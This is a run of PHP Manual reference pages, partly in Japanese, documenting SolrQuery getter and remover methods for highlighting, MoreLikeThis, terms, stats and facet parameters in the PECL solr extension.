Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

  • ≪ SolrQuery::getHighlightFragsize
  • SolrQuery::getHighlightMaxAlternateFieldLength ≫
  • PHP Manual
  • SolrQuery
  • Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

SolrQuery::getHighlightHighlightMultiTerm

(PECL solr >= 0.9.2)

SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

説明

public SolrQuery::getHighlightHighlightMultiTerm ( ) : bool

Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of characters of the field to return

  • ≪ SolrQuery::getHighlightHighlightMultiTerm
  • SolrQuery::getHighlightMaxAnalyzedChars ≫
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of characters of the field to return

SolrQuery::getHighlightMaxAlternateFieldLength

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return

説明

public SolrQuery::getHighlightMaxAlternateFieldLength ( string $field_override = ? ) : int

Returns the maximum number of characters of the field to return

パラメータ

field_override

The name of the field

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of characters into a document to look for suitable snippets

  • ≪ SolrQuery::getHighlightMaxAlternateFieldLength
  • SolrQuery::getHighlightMergeContiguous ≫
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of characters into a document to look for suitable snippets

SolrQuery::getHighlightMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets

説明

public SolrQuery::getHighlightMaxAnalyzedChars ( ) : int

Returns the maximum number of characters into a document to look for suitable snippets

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not the collapse contiguous fragments into a single fragment

  • ≪ SolrQuery::getHighlightMaxAnalyzedChars
  • SolrQuery::getHighlightRegexMaxAnalyzedChars ≫
  • PHP Manual
  • SolrQuery
  • Returns whether or not the collapse contiguous fragments into a single fragment

SolrQuery::getHighlightMergeContiguous

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment

説明

public SolrQuery::getHighlightMergeContiguous ( string $field_override = ? ) : bool

Returns whether or not the collapse contiguous fragments into a single fragment. Accepts an optional field override.

パラメータ

field_override

The name of the field

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of characters from a field when using the regex fragmenter

  • ≪ SolrQuery::getHighlightMergeContiguous
  • SolrQuery::getHighlightRegexPattern ≫
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of characters from a field when using the regex fragmenter

SolrQuery::getHighlightRegexMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter

説明

public SolrQuery::getHighlightRegexMaxAnalyzedChars ( ) : int

Returns the maximum number of characters from a field when using the regex fragmenter

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the regular expression for fragmenting

  • ≪ SolrQuery::getHighlightRegexMaxAnalyzedChars
  • SolrQuery::getHighlightRegexSlop ≫
  • PHP Manual
  • SolrQuery
  • Returns the regular expression for fragmenting

SolrQuery::getHighlightRegexPattern

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting

説明

public SolrQuery::getHighlightRegexPattern ( ) : string

Returns the regular expression used for fragmenting

パラメータ

この関数にはパラメータはありません。

返り値

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the deviation factor from the ideal fragment size

  • ≪ SolrQuery::getHighlightRegexPattern
  • SolrQuery::getHighlightRequireFieldMatch ≫
  • PHP Manual
  • SolrQuery
  • Returns the deviation factor from the ideal fragment size

SolrQuery::getHighlightRegexSlop

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size

説明

public SolrQuery::getHighlightRegexSlop ( ) : float

Returns the factor by which the regex fragmenter can deviate from the ideal fragment size to accomodate the regular expression

パラメータ

この関数にはパラメータはありません。

返り値

Returns a double on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns if a field will only be highlighted if the query matched in this particular field

  • ≪ SolrQuery::getHighlightRegexSlop
  • SolrQuery::getHighlightSimplePost ≫
  • PHP Manual
  • SolrQuery
  • Returns if a field will only be highlighted if the query matched in this particular field

SolrQuery::getHighlightRequireFieldMatch

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field

説明

public SolrQuery::getHighlightRequireFieldMatch ( ) : bool

Returns if a field will only be highlighted if the query matched in this particular field.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text which appears after a highlighted term

  • ≪ SolrQuery::getHighlightRequireFieldMatch
  • SolrQuery::getHighlightSimplePre ≫
  • PHP Manual
  • SolrQuery
  • Returns the text which appears after a highlighted term

SolrQuery::getHighlightSimplePost

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term

説明

public SolrQuery::getHighlightSimplePost ( string $field_override = ? ) : string

Returns the text which appears after a highlighted term. Accepts an optional field override

パラメータ

field_override

The name of the field

返り値

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text which appears before a highlighted term

  • ≪ SolrQuery::getHighlightSimplePost
  • SolrQuery::getHighlightSnippets ≫
  • PHP Manual
  • SolrQuery
  • Returns the text which appears before a highlighted term

SolrQuery::getHighlightSimplePre

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term

説明

public SolrQuery::getHighlightSimplePre ( string $field_override = ? ) : string

Returns the text which appears before a highlighted term. Accepts an optional field override

パラメータ

field_override

The name of the field

返り値

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of highlighted snippets to generate per field

  • ≪ SolrQuery::getHighlightSimplePre
  • SolrQuery::getHighlightUsePhraseHighlighter ≫
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of highlighted snippets to generate per field

SolrQuery::getHighlightSnippets

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field

説明

public SolrQuery::getHighlightSnippets ( string $field_override = ? ) : int

Returns the maximum number of highlighted snippets to generate per field. Accepts an optional field override

パラメータ

field_override

The name of the field

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the state of the hl.usePhraseHighlighter parameter

  • ≪ SolrQuery::getHighlightSnippets
  • SolrQuery::getMlt ≫
  • PHP Manual
  • SolrQuery
  • Returns the state of the hl.usePhraseHighlighter parameter

SolrQuery::getHighlightUsePhraseHighlighter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter

説明

public SolrQuery::getHighlightUsePhraseHighlighter ( ) : bool

Returns whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not MoreLikeThis results should be enabled

  • ≪ SolrQuery::getHighlightUsePhraseHighlighter
  • SolrQuery::getMltBoost ≫
  • PHP Manual
  • SolrQuery
  • Returns whether or not MoreLikeThis results should be enabled

SolrQuery::getMlt

(PECL solr >= 0.9.2)

SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled

説明

public SolrQuery::getMlt ( ) : bool

Returns whether or not MoreLikeThis results should be enabled

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not the query will be boosted by the interesting term relevance

  • ≪ SolrQuery::getMlt
  • SolrQuery::getMltCount ≫
  • PHP Manual
  • SolrQuery
  • Returns whether or not the query will be boosted by the interesting term relevance

SolrQuery::getMltBoost

(PECL solr >= 0.9.2)

SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance

説明

public SolrQuery::getMltBoost ( ) : bool

Returns whether or not the query will be boosted by the interesting term relevance

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of similar documents to return for each result

  • ≪ SolrQuery::getMltBoost
  • SolrQuery::getMltFields ≫
  • PHP Manual
  • SolrQuery
  • Returns the number of similar documents to return for each result

SolrQuery::getMltCount

(PECL solr >= 0.9.2)

SolrQuery::getMltCount — Returns the number of similar documents to return for each result

説明

public SolrQuery::getMltCount ( ) : int

Returns the number of similar documents to return for each result

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the fields to use for similarity

  • ≪ SolrQuery::getMltCount
  • SolrQuery::getMltMaxNumQueryTerms ≫
  • PHP Manual
  • SolrQuery
  • Returns all the fields to use for similarity

SolrQuery::getMltFields

(PECL solr >= 0.9.2)

SolrQuery::getMltFields — Returns all the fields to use for similarity

説明

public SolrQuery::getMltFields ( ) : array

Returns all the fields to use for similarity

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of query terms that will be included in any generated query

  • ≪ SolrQuery::getMltFields
  • SolrQuery::getMltMaxNumTokens ≫
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of query terms that will be included in any generated query

SolrQuery::getMltMaxNumQueryTerms

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query

説明

public SolrQuery::getMltMaxNumQueryTerms ( ) : int

Returns the maximum number of query terms that will be included in any generated query

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

  • ≪ SolrQuery::getMltMaxNumQueryTerms
  • SolrQuery::getMltMaxWordLength ≫
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

SolrQuery::getMltMaxNumTokens

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

説明

public SolrQuery::getMltMaxNumTokens ( ) : int

Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum word length above which words will be ignored

  • ≪ SolrQuery::getMltMaxNumTokens
  • SolrQuery::getMltMinDocFrequency ≫
  • PHP Manual
  • SolrQuery
  • Returns the maximum word length above which words will be ignored

SolrQuery::getMltMaxWordLength

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored

説明

public SolrQuery::getMltMaxWordLength ( ) : int

Returns the maximum word length above which words will be ignored

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

  • ≪ SolrQuery::getMltMaxWordLength
  • SolrQuery::getMltMinTermFrequency ≫
  • PHP Manual
  • SolrQuery
  • Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

SolrQuery::getMltMinDocFrequency

(PECL solr >= 0.9.2)

SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

説明

public SolrQuery::getMltMinDocFrequency ( ) : int

Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the frequency below which terms will be ignored in the source document

  • ≪ SolrQuery::getMltMinDocFrequency
  • SolrQuery::getMltMinWordLength ≫
  • PHP Manual
  • SolrQuery
  • Returns the frequency below which terms will be ignored in the source document

SolrQuery::getMltMinTermFrequency

(PECL solr >= 0.9.2)

SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document

説明

public SolrQuery::getMltMinTermFrequency ( ) : int

Returns the frequency below which terms will be ignored in the source document

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum word length below which words will be ignored

  • ≪ SolrQuery::getMltMinTermFrequency
  • SolrQuery::getMltQueryFields ≫
  • PHP Manual
  • SolrQuery
  • Returns the minimum word length below which words will be ignored

SolrQuery::getMltMinWordLength

(PECL solr >= 0.9.2)

SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored

説明

public SolrQuery::getMltMinWordLength ( ) : int

Returns the minimum word length below which words will be ignored

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the query fields and their boosts

  • ≪ SolrQuery::getMltMinWordLength
  • SolrQuery::getQuery ≫
  • PHP Manual
  • SolrQuery
  • Returns the query fields and their boosts

SolrQuery::getMltQueryFields

(PECL solr >= 0.9.2)

SolrQuery::getMltQueryFields — Returns the query fields and their boosts

説明

public SolrQuery::getMltQueryFields ( ) : array

Returns the query fields and their boosts

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


主なクエリーを返す

  • ≪ SolrQuery::getMltQueryFields
  • SolrQuery::getRows ≫
  • PHP Manual
  • SolrQuery
  • 主なクエリーを返す

SolrQuery::getQuery

(PECL solr >= 0.9.2)

SolrQuery::getQuery — 主なクエリーを返す

説明

public SolrQuery::getQuery ( ) : string

主な検索クエリーを返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合は文字列、設定されなかった場合には null を返します。

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of documents

  • ≪ SolrQuery::getQuery
  • SolrQuery::getSortFields ≫
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of documents

SolrQuery::getRows

(PECL solr >= 0.9.2)

SolrQuery::getRows — Returns the maximum number of documents

説明

public SolrQuery::getRows ( ) : int

Returns the maximum number of documents from the complete result set to return to the client for every request

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the sort fields

  • ≪ SolrQuery::getRows
  • SolrQuery::getStart ≫
  • PHP Manual
  • SolrQuery
  • Returns all the sort fields

SolrQuery::getSortFields

(PECL solr >= 0.9.2)

SolrQuery::getSortFields — Returns all the sort fields

説明

public SolrQuery::getSortFields ( ) : array

Returns all the sort fields

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array on success and null if none of the parameters was set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the offset in the complete result set

  • ≪ SolrQuery::getSortFields
  • SolrQuery::getStats ≫
  • PHP Manual
  • SolrQuery
  • Returns the offset in the complete result set

SolrQuery::getStart

(PECL solr >= 0.9.2)

SolrQuery::getStart — Returns the offset in the complete result set

説明

public SolrQuery::getStart ( ) : int

Returns the offset in the complete result set for the queries where the set of returned documents should begin.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not stats is enabled

  • ≪ SolrQuery::getStart
  • SolrQuery::getStatsFacets ≫
  • PHP Manual
  • SolrQuery
  • Returns whether or not stats is enabled

SolrQuery::getStats

(PECL solr >= 0.9.2)

SolrQuery::getStats — Returns whether or not stats is enabled

説明

public SolrQuery::getStats ( ) : bool

Returns whether or not stats is enabled

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the stats facets that were set

  • ≪ SolrQuery::getStats
  • SolrQuery::getStatsFields ≫
  • PHP Manual
  • SolrQuery
  • Returns all the stats facets that were set

SolrQuery::getStatsFacets

(PECL solr >= 0.9.2)

SolrQuery::getStatsFacets — Returns all the stats facets that were set

説明

public SolrQuery::getStatsFacets ( ) : array

Returns all the stats facets that were set

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the statistics fields

  • ≪ SolrQuery::getStatsFacets
  • SolrQuery::getTerms ≫
  • PHP Manual
  • SolrQuery
  • Returns all the statistics fields

SolrQuery::getStatsFields

(PECL solr >= 0.9.2)

SolrQuery::getStatsFields — Returns all the statistics fields

説明

public SolrQuery::getStatsFields ( ) : array

Returns all the statistics fields

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not the TermsComponent is enabled

  • ≪ SolrQuery::getStatsFields
  • SolrQuery::getTermsField ≫
  • PHP Manual
  • SolrQuery
  • Returns whether or not the TermsComponent is enabled

SolrQuery::getTerms

(PECL solr >= 0.9.2)

SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled

説明

public SolrQuery::getTerms ( ) : bool

Returns whether or not the TermsComponent is enabled

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the field from which the terms are retrieved

  • ≪ SolrQuery::getTerms
  • SolrQuery::getTermsIncludeLowerBound ≫
  • PHP Manual
  • SolrQuery
  • Returns the field from which the terms are retrieved

SolrQuery::getTermsField

(PECL solr >= 0.9.2)

SolrQuery::getTermsField — Returns the field from which the terms are retrieved

説明

public SolrQuery::getTermsField ( ) : string

Returns the field from which the terms are retrieved

パラメータ

この関数にはパラメータはありません。

返り値

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not to include the lower bound in the result set

  • ≪ SolrQuery::getTermsField
  • SolrQuery::getTermsIncludeUpperBound ≫
  • PHP Manual
  • SolrQuery
  • Returns whether or not to include the lower bound in the result set

SolrQuery::getTermsIncludeLowerBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set

説明

public SolrQuery::getTermsIncludeLowerBound ( ) : bool

Returns whether or not to include the lower bound in the result set

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not to include the upper bound term in the result set

  • ≪ SolrQuery::getTermsIncludeLowerBound
  • SolrQuery::getTermsLimit ≫
  • PHP Manual
  • SolrQuery
  • Returns whether or not to include the upper bound term in the result set

SolrQuery::getTermsIncludeUpperBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set

説明

public SolrQuery::getTermsIncludeUpperBound ( ) : bool

Returns whether or not to include the upper bound term in the result set

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of terms Solr should return

  • ≪ SolrQuery::getTermsIncludeUpperBound
  • SolrQuery::getTermsLowerBound ≫
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of terms Solr should return

SolrQuery::getTermsLimit

(PECL solr >= 0.9.2)

SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return

説明

public SolrQuery::getTermsLimit ( ) : int

Returns the maximum number of terms Solr should return

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the term to start at

  • ≪ SolrQuery::getTermsLimit
  • SolrQuery::getTermsMaxCount ≫
  • PHP Manual
  • SolrQuery
  • Returns the term to start at

SolrQuery::getTermsLowerBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsLowerBound — Returns the term to start at

説明

public SolrQuery::getTermsLowerBound ( ) : string

Returns the term to start at

パラメータ

この関数にはパラメータはありません。

返り値

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum document frequency

  • ≪ SolrQuery::getTermsLowerBound
  • SolrQuery::getTermsMinCount ≫
  • PHP Manual
  • SolrQuery
  • Returns the maximum document frequency

SolrQuery::getTermsMaxCount

(PECL solr >= 0.9.2)

SolrQuery::getTermsMaxCount — Returns the maximum document frequency

説明

public SolrQuery::getTermsMaxCount ( ) : int

Returns the maximum document frequency

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum document frequency to return in order to be included

  • ≪ SolrQuery::getTermsMaxCount
  • SolrQuery::getTermsPrefix ≫
  • PHP Manual
  • SolrQuery
  • Returns the minimum document frequency to return in order to be included

SolrQuery::getTermsMinCount

(PECL solr >= 0.9.2)

SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included

説明

public SolrQuery::getTermsMinCount ( ) : int

Returns the minimum document frequency to return in order to be included

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the term prefix

  • ≪ SolrQuery::getTermsMinCount
  • SolrQuery::getTermsReturnRaw ≫
  • PHP Manual
  • SolrQuery
  • Returns the term prefix

SolrQuery::getTermsPrefix

(PECL solr >= 0.9.2)

SolrQuery::getTermsPrefix — Returns the term prefix

説明

public SolrQuery::getTermsPrefix ( ) : string

Returns the prefix to which matching terms must be restricted. This will restrict matches to only terms that start with the prefix

パラメータ

この関数にはパラメータはありません。

返り値

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Whether or not to return raw characters

  • ≪ SolrQuery::getTermsPrefix
  • SolrQuery::getTermsSort ≫
  • PHP Manual
  • SolrQuery
  • Whether or not to return raw characters

SolrQuery::getTermsReturnRaw

(PECL solr >= 0.9.2)

SolrQuery::getTermsReturnRaw — Whether or not to return raw characters

説明

public SolrQuery::getTermsReturnRaw ( ) : bool

Returns a boolean indicating whether or not to return the raw characters of the indexed term, regardless of if it is human readable

パラメータ

この関数にはパラメータはありません。

返り値

Returns a boolean on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns an integer indicating how terms are sorted

  • ≪ SolrQuery::getTermsReturnRaw
  • SolrQuery::getTermsUpperBound ≫
  • PHP Manual
  • SolrQuery
  • Returns an integer indicating how terms are sorted

SolrQuery::getTermsSort

(PECL solr >= 0.9.2)

SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted

説明

public SolrQuery::getTermsSort ( ) : int

SolrQuery::TERMS_SORT_INDEX indicates that the terms are returned by index order. SolrQuery::TERMS_SORT_COUNT implies that the terms are sorted by term frequency (highest count first)

パラメータ

この関数にはパラメータはありません。

返り値

Returns an integer on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the term to stop at

  • ≪ SolrQuery::getTermsSort
  • SolrQuery::getTimeAllowed ≫
  • PHP Manual
  • SolrQuery
  • Returns the term to stop at

SolrQuery::getTermsUpperBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsUpperBound — Returns the term to stop at

説明

public SolrQuery::getTermsUpperBound ( ) : string

Returns the term to stop at

パラメータ

この関数にはパラメータはありません。

返り値

Returns a string on success and null if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the time in milliseconds allowed for the query to finish

  • ≪ SolrQuery::getTermsUpperBound
  • SolrQuery::removeExpandFilterQuery ≫
  • PHP Manual
  • SolrQuery
  • Returns the time in milliseconds allowed for the query to finish

SolrQuery::getTimeAllowed

(PECL solr >= 0.9.2)

SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish

説明

public SolrQuery::getTimeAllowed ( ) : int

Returns the time in milliseconds allowed for the query to finish.

パラメータ

この関数にはパラメータはありません。

返り値

Returns and integer on success and null if it is not set.

User Contributed Notes

There are no user contributed notes for this page.


Removes an expand filter query

  • ≪ SolrQuery::getTimeAllowed
  • SolrQuery::removeExpandSortField ≫
  • PHP Manual
  • SolrQuery
  • Removes an expand filter query

SolrQuery::removeExpandFilterQuery

(PECL solr >= 2.2.0)

SolrQuery::removeExpandFilterQuery — Removes an expand filter query

説明

public SolrQuery::removeExpandFilterQuery ( string $fq ) : SolrQuery

Removes an expand filter query.

パラメータ

fq

返り値

SolrQuery

参考

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group

User Contributed Notes

There are no user contributed notes for this page.


Removes an expand sort field from the expand.sort parameter

  • ≪ SolrQuery::removeExpandFilterQuery
  • SolrQuery::removeFacetDateField ≫
  • PHP Manual
  • SolrQuery
  • Removes an expand sort field from the expand.sort parameter

SolrQuery::removeExpandSortField

(PECL solr >= 2.2.0)

SolrQuery::removeExpandSortField — Removes an expand sort field from the expand.sort parameter

説明

public SolrQuery::removeExpandSortField ( string $field ) : SolrQuery

Removes an expand sort field from the expand.sort parameter.

パラメータ

field

field name

返り値

SolrQuery

参考

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet date fields

  • ≪ SolrQuery::removeExpandSortField
  • SolrQuery::removeFacetDateOther ≫
  • PHP Manual
  • SolrQuery
  • Removes one of the facet date fields

SolrQuery::removeFacetDateField

(PECL solr >= 0.9.2)

SolrQuery::removeFacetDateField — Removes one of the facet date fields

説明

public SolrQuery::removeFacetDateField ( string $field ) : SolrQuery

The name of the field

パラメータ

field

The name of the date field to remove

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet.date.other parameters

  • ≪ SolrQuery::removeFacetDateField
  • SolrQuery::removeFacetField ≫
  • PHP Manual
  • SolrQuery
  • Removes one of the facet.date.other parameters

SolrQuery::removeFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters

説明

public SolrQuery::removeFacetDateOther ( string $value , string $field_override = ? ) : SolrQuery

Removes one of the facet.date.other parameters

パラメータ

value

The value

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet.date parameters

  • ≪ SolrQuery::removeFacetDateOther
  • SolrQuery::removeFacetQuery ≫
  • PHP Manual
  • SolrQuery
  • Removes one of the facet.date parameters

SolrQuery::removeFacetField

(PECL solr >= 0.9.2)

SolrQuery::removeFacetField — Removes one of the facet.date parameters

説明

public SolrQuery::removeFacetField ( string $field ) : SolrQuery

Removes one of the facet.date parameters

パラメータ

field

The name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the facet.query parameters

  • ≪ SolrQuery::removeFacetField
  • SolrQuery::removeField ≫
  • PHP Manual
  • SolrQuery
  • Removes one of the facet.query parameters

SolrQuery::removeFacetQuery

(PECL solr >= 0.9.2)

SolrQuery::removeFacetQuery — Removes one of the facet.query parameters

説明

public SolrQuery::removeFacetQuery ( string $value ) : SolrQuery

Removes one of the facet.query parameters.

パラメータ

value

The value

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes a field from the list of fields

  • ≪ SolrQuery::removeFacetQuery
  • SolrQuery::removeFilterQuery ≫
  • PHP Manual
  • SolrQuery
  • Removes a field from the list of fields

SolrQuery::removeField

(PECL solr >= 0.9.2)

SolrQuery::removeField — Removes a field from the list of fields

説明

public SolrQuery::removeField ( string $field ) : SolrQuery

Removes a field from the list of fields

パラメータ

field

Name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes a filter query

  • ≪ SolrQuery::removeField
  • SolrQuery::removeHighlightField ≫
  • PHP Manual
  • SolrQuery
  • Removes a filter query

SolrQuery::removeFilterQuery

(PECL solr >= 0.9.2)

SolrQuery::removeFilterQuery — Removes a filter query

説明

public SolrQuery::removeFilterQuery ( string $fq ) : SolrQuery

Removes a filter query.

パラメータ

fq

The filter query to remove

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the fields used for highlighting

  • ≪ SolrQuery::removeFilterQuery
  • SolrQuery::removeMltField ≫
  • PHP Manual
  • SolrQuery
  • Removes one of the fields used for highlighting

SolrQuery::removeHighlightField

(PECL solr >= 0.9.2)

SolrQuery::removeHighlightField — Removes one of the fields used for highlighting

説明

public SolrQuery::removeHighlightField ( string $field ) : SolrQuery

Removes one of the fields used for highlighting.

パラメータ

field

The name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the moreLikeThis fields

  • ≪ SolrQuery::removeHighlightField
  • SolrQuery::removeMltQueryField ≫
